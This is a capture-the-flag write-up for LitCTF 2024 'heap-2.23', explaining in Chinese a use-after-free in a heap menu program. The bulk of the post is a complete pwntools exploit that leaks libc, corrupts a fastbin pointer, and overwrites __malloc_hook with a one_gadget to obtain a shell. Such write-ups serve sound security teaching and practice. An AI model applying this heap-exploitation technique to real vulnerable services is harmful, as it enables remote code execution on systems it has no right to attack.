Post

[LitCTF2024]heap-2.23

Problem: [LitCTF 2024]heap-2.23

思路

edit功能存在一个UAF,通过该漏洞修改fd达到申请任意位置区块的目的,再利用edit功能修改对应区块地址的内容,达到利用目的。 我这里选择了劫持__molloc_hook函数,需要注意的是,我们需要找到一个区块匹配所需要的结构体,详细可以调试看看mallo_hook-35这个位置,再往后填充,将one_gadget覆盖到__malloc_hook的位置。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
context.terminal=["tmux",'splitw','-h']
context.log_level = 'debug'
#io = gdb.debug('./heap')
io = remote('node4.anna.nssctf.cn',28035)
elf = ELF('./heap')
lib = ELF('/root/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def create(idx,size):
    io.sendlineafter(b'>>',str(1))
    io.sendlineafter(b'?',str(idx))
    io.sendlineafter(b'?',str(size))

def delete(idx):
    io.sendlineafter(b'>>',str(2))
    io.sendlineafter(b'?',str(idx))

def show(idx):
    io.sendlineafter(b'>>',str(3))
    io.sendlineafter(b'?',str(idx))

def edit(idx,content):
    io.sendlineafter(b'>>',str(4))
    io.sendlineafter(b'?',str(idx))
    io.sendlineafter(b'content : \n',content)

create(0,400)   #0
create(1,10)    #1
delete(0)
show(0)
mallo_hook = u64(io.recvuntil(b'\n')[-7:-1].ljust(8,b'\x00'))-0x68
print(hex(mallo_hook))
delete(1)
lib_base = mallo_hook-lib.sym['__malloc_hook']
one_gadget = lib_base+0xf1247

create(2,0x60)
create(3,0x60)

delete(2)
delete(3)

edit(2,p64(mallo_hook-35))
create(4,0x60)
create(5,0x60)
create(6,0x60)
edit(6,cyclic(19)+p64(one_gadget))

create(7,0x60)
io.interactive()

总结

一开始是想用fastbin去做,后来看文章发现忽略了uaf可以直接利用,再一个就是要注意申请malloc附件的堆块时要符合结构规范

This post is licensed under CC BY 4.0 by the author.